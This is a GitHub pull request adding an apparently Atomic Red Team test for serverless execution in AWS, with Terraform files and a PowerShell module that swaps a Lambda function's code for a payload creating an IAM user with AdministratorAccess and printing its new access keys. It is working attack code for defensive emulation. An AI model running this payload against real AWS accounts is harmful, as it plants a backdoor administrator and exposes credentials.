Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

feat: T1648-1 #3038

Merged
merged 4 commits into from
Jan 28, 2025
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
67 changes: 67 additions & 0 deletions atomics/T1648/T1648.yaml
Original file line number Diff line number Diff line change
@@ -0,0 +1,67 @@
attack_technique: T1648
display_name: 'Serverless Execution'
atomic_tests:
- name: Lambda Function Hijack
description: |
Modify an existing Lambda function to execute arbitrary code.
supported_platforms:
- iaas:aws
input_arguments:
access_key:
description: AWS Access Key
type: string
default: ""
secret_key:
description: AWS Secret Key
type: string
default: ""
session_token:
description: AWS Session Token
type: string
default: ""
profile:
description: AWS profile
type: string
default: ""
region:
description: AWS region to deploy the EC2 instance
type: string
default: us-east-2
dependency_executor_name: powershell
dependencies:
- description: |
The AWS PowerShell module must be installed.
prereq_command: |
try {if (Get-InstalledModule -Name AWSPowerShell -ErrorAction SilentlyContinue) {exit 0} else {exit 1}} catch {exit 1}
get_prereq_command: |
Install-Module -Name AWSPowerShell -Force
- description: |
Terraform must be installed.
prereq_command: |
terraform --version
get_prereq_command: |
Write-Host "Terraform is required. Download it from https://www.terraform.io/downloads.html"
executor:
command: |
Import-Module "PathToAtomicsFolder/T1648/src/T1648-1/LambdaAttack.ps1" -Force
$access_key = "#{access_key}"
$secret_key = "#{secret_key}"
$session_token = "#{session_token}"
$aws_profile = "#{profile}"
$region = "#{region}"
Set-AWSAuthentication -AccessKey $access_key -SecretKey $secret_key -SessionToken $session_token -AWSProfile $aws_profile -AWSRegion $region
Invoke-Terraform -TerraformCommand init -TerraformDirectory "PathToAtomicsFolder/T1648/src/T1648-1"
Invoke-Terraform -TerraformCommand apply -TerraformDirectory "PathToAtomicsFolder/T1648/src/T1648-1" -TerraformVariables @("profile=T1648-1", "region=$region")
Invoke-LambdaAttack -AWSProfile "T1648-1" -AWSRegion $region
cleanup_command: |
Import-Module "PathToAtomicsFolder/T1648/src/T1648-1/LambdaAttack.ps1" -Force
$access_key = "#{access_key}"
$secret_key = "#{secret_key}"
$session_token = "#{session_token}"
$aws_profile = "#{profile}"
$region = "#{region}"
Set-AWSAuthentication -AccessKey $access_key -SecretKey $secret_key -SessionToken $session_token -AWSProfile $aws_profile -AWSRegion $region
Invoke-Terraform -TerraformCommand destroy -TerraformDirectory "PathToAtomicsFolder/T1648/src/T1648-1" -TerraformVariables @("profile=T1648-1", "region=$region")
Remove-MaliciousUser -AWSProfile "T1648-1"
Remove-TFFiles -Path "PathToAtomicsFolder/T1648/src/T1648-1/"
name: powershell
167 changes: 167 additions & 0 deletions atomics/T1648/src/T1648-1/LambdaAttack.ps1
Original file line number Diff line number Diff line change
@@ -0,0 +1,167 @@
Import-Module AWSPowerShell

function Set-AWSAuthentication {
param (
[string]$AccessKey,
[string]$SecretKey,
[string]$SessionToken,
[string]$AWSProfile,
[string]$AWSRegion
)
if ($SessionToken -eq "" -and $AWSProfile -eq "") {
Set-AWSCredential -AccessKey $AccessKey -SecretKey $SecretKey -StoreAs "T1648-1"
}
elseif ($SessionToken -ne "" -and $AWSProfile -ne "") {
Set-AWSCredential -AccessKey $AccessKey -SecretKey $SecretKey -SessionToken $SessionToken -StoreAs "T1648-1"
}
elseif ($AWSProfile -ne "") {
Set-AWSCredential -ProfileName $AWSProfile -StoreAs "T1648-1"
}

try {
Get-STSCallerIdentity -ProfileName "T1648-1" | Out-Null
}
catch {
Write-Host "ERROR: Failed to authenticate to AWS. Please check your credentials and try again."
exit 1
}
Set-DefaultAWSRegion -Region $AWSRegion
}

function Invoke-Terraform {
param (
[string]$TerraformCommand,
[string]$TerraformDirectory,
[string[]]$TerraformVariables
)

$currentPath = Resolve-Path .

if (-not (Test-Path $TerraformDirectory)) {
Write-Host "ERROR: Terraform directory not found. Please check the path and try again."
exit 1
}

if (-not (Get-ChildItem $TerraformDirectory -Filter "*.tf")) {
Write-Host "ERROR: No Terraform files found in the directory. Please check the path and try again."
exit 1
}

foreach($variable in $TerraformVariables) {
$varName = $variable.Split("=")[0]
$varValue = $variable.Split("=")[1]
[Environment]::SetEnvironmentVariable("TF_VAR_$varName", $varValue, "Process")
}

Set-Location $TerraformDirectory

if ($TerraformCommand -eq "init") {
try {
terraform init | Out-Null
}
catch {
Write-Host "ERROR: Failed to initialize Terraform. Please check the error message and try again."
exit 1
}
} elseif ($TerraformCommand -eq "apply") {
try {
terraform apply -auto-approve | Out-Null
}
catch {
Write-Host "ERROR: Failed to apply Terraform. Please check the error message and try again."
exit 1
}
} elseif ($TerraformCommand -eq "destroy") {
try {
terraform destroy -auto-approve | Out-Null
}
catch {
Write-Host "ERROR: Failed to destroy Terraform. Please check the error message and try again."
exit 1
}
} else {
Write-Host "ERROR: Invalid Terraform command. Please use 'init', 'apply', or 'destroy'."
exit 1
}

Set-Location $currentPath
}

function Invoke-LambdaAttack {
param (
[string]$AWSProfile,
[string]$AWSRegion
)

$maliciousContent = "import json`n"
$maliciousContent += "import boto3`n`n"
$maliciousContent += "def lambda_handler(event, context):`n"
$maliciousContent += " client = boto3.client('iam')`n"
$maliciousContent += " client.create_user(UserName='T1648-1')`n"
$maliciousContent += " response = client.create_access_key(UserName='T1648-1')`n"
$maliciousContent += " access_key = response['AccessKey']['AccessKeyId']`n"
$maliciousContent += " secret_key = response['AccessKey']['SecretAccessKey']`n"
$maliciousContent += " client.attach_user_policy(UserName='T1648-1', PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess')`n"
$maliciousContent += " return {`n"
$maliciousContent += " 'statusCode': 200,`n"
$maliciousContent += " 'body': json.dumps({'AccessKeyId': access_key, 'SecretAccessKey': secret_key})`n"
$maliciousContent += " }`n"

$zipPath = [System.IO.Path]::GetTempPath() + "LambdaAttack.zip"
$zipFile = [System.IO.Compression.ZipFile]::Open($zipPath, [System.IO.Compression.ZipArchiveMode]::Create)
$zipEntry = $zipFile.CreateEntry("lambda.py")
$zipStream = $zipEntry.Open()
$zipWriter = New-Object System.IO.StreamWriter($zipStream)
$zipWriter.Write($maliciousContent)
$zipWriter.Close()
$zipStream.Close()
$zipFile.Dispose()
$zipContent = [System.IO.File]::ReadAllBytes($zipPath)

$null = Update-LMFunctionCode -FunctionName "T1648-1" -ZipFile $zipContent -ProfileName $AWSProfile -Region $AWSRegion
Sleep 10 # Wait a bit for the Lambda function to update
$result = Invoke-LMFunction -FunctionName "T1648-1" -ProfileName $AWSProfile -Region $AWSRegion
$payload = [System.Text.Encoding]::UTF8.GetString($result.Payload.ToArray()) | ConvertFrom-JSON
$output = $payload | select Body
Remove-Item $zipPath
Write-Host "INFO: Lambda function code updated successfully."
$accessKeyId = ($output.body | ConvertFrom-JSON).AccessKeyId
$secretAccessKey = ($output.body | ConvertFrom-JSON).SecretAccessKey
Write-Host "INFO: New Access Key ID: $accessKeyId"
Write-Host "INFO: New Secret Access Key: $secretAccessKey"
}

function Remove-MaliciousUser {
param (
[string]$AWSProfile
)

try {
$null = Get-IAMUser -UserName "T1648-1" -ProfileName $AWSProfile
} catch {
return
}

$accessKeys = Get-IAMAccessKey -UserName "T1648-1" -ProfileName $AWSProfile
foreach ($accessKey in $accessKeys) {
$null = Remove-IAMAccessKey -AccessKeyId $accessKey.AccessKeyId -UserName "T1648-1" -ProfileName $AWSProfile -Force
}
Sleep 5 # Wait a bit for the access keys to be removed
$null = Unregister-IAMUserPolicy -UserName "T1648-1" -PolicyArn "arn:aws:iam::aws:policy/AdministratorAccess" -ProfileName $AWSProfile -Force
$null = Remove-IAMUser -UserName "T1648-1" -ProfileName $AWSProfile -Force
Write-Host "INFO: Malicious user 'T1648-1' removed successfully."
}

function Remove-TFFiles {
param (
[string]$Path
)

try {
Remove-Item "$Path/lambda_code.zip" -ErrorAction SilentlyContinue
Remove-Item "$Path/terraform.tfstate" -ErrorAction SilentlyContinue
Remove-Item "$Path/terraform.tfstate.backup" -ErrorAction SilentlyContinue
} catch {
return
}
}
19 changes: 19 additions & 0 deletions atomics/T1648/src/T1648-1/compute.tf
Original file line number Diff line number Diff line change
@@ -0,0 +1,19 @@
data "archive_file" "lambda_code" {
type = "zip"
source_content = <<EOF
def lambda_handler(event, context):
return "This is a benign lambda function"
EOF
source_content_filename = "lambda.py"
output_path = "${path.module}/lambda_code.zip"
}

resource "aws_lambda_function" "lambda" {
filename = data.archive_file.lambda_code.output_path
function_name = "T1648-1"
role = aws_iam_role.lambda_role.arn
handler = "lambda.lambda_handler"
runtime = "python3.11"
source_code_hash = data.archive_file.lambda_code.output_base64sha256
timeout = 30
}
39 changes: 39 additions & 0 deletions atomics/T1648/src/T1648-1/iam.tf
Original file line number Diff line number Diff line change
@@ -0,0 +1,39 @@
data "aws_iam_policy_document" "lambda_assume_role_policy" {
statement {
effect = "Allow"

principals {
type = "Service"
identifiers = ["lambda.amazonaws.com"]
}

actions = ["sts:AssumeRole"]
}
}

resource "aws_iam_role" "lambda_role" {
name = "LambdaRole"
assume_role_policy = data.aws_iam_policy_document.lambda_assume_role_policy.json
}

resource "aws_iam_policy" "lambda_policy" {
name = "TestLambdaPolicy"
description = "Test Policy for Lambda function"
policy = jsonencode({
Version = "2012-10-17",
Statement = [
{
Effect = "Allow",
Action = [
"*"
],
Resource = "*"
}
]
})
}

resource "aws_iam_role_policy_attachment" "lambda_policy_attachment" {
role = aws_iam_role.lambda_role.name
policy_arn = aws_iam_policy.lambda_policy.arn
}
23 changes: 23 additions & 0 deletions atomics/T1648/src/T1648-1/main.tf
Original file line number Diff line number Diff line change
@@ -0,0 +1,23 @@
terraform {
required_providers {
aws = {
source = "hashicorp/aws"
version = "= 5.82.2"
}
}
}

provider "aws" {
profile = var.profile
region = var.region

default_tags {
tags = {
AtomicTest = "T1648-1"
}
}
}

locals {
cloud = length(regexall("-gov-", var.region)) > 0 ? "aws-us-gov" : length(regexall("-cn-", var.region)) > 0 ? "aws-cn" : "aws"
}
4 changes: 4 additions & 0 deletions atomics/T1648/src/T1648-1/storage.tf
Original file line number Diff line number Diff line change
@@ -0,0 +1,4 @@
resource "aws_cloudwatch_log_group" "lambda_log_group" {
name = "/aws/lambda/T1648-1"
retention_in_days = 1
}
14 changes: 14 additions & 0 deletions atomics/T1648/src/T1648-1/variables.tf
Original file line number Diff line number Diff line change
@@ -0,0 +1,14 @@
variable "profile" {
description = "The AWS profile to use"
default = "default"
}

variable "region" {
description = "The AWS region to deploy to"
default = "us-east-2"
}

variable "instance_type" {
description = "The instance type to use for the EC2 instance"
default = "t2.micro"
}
Loading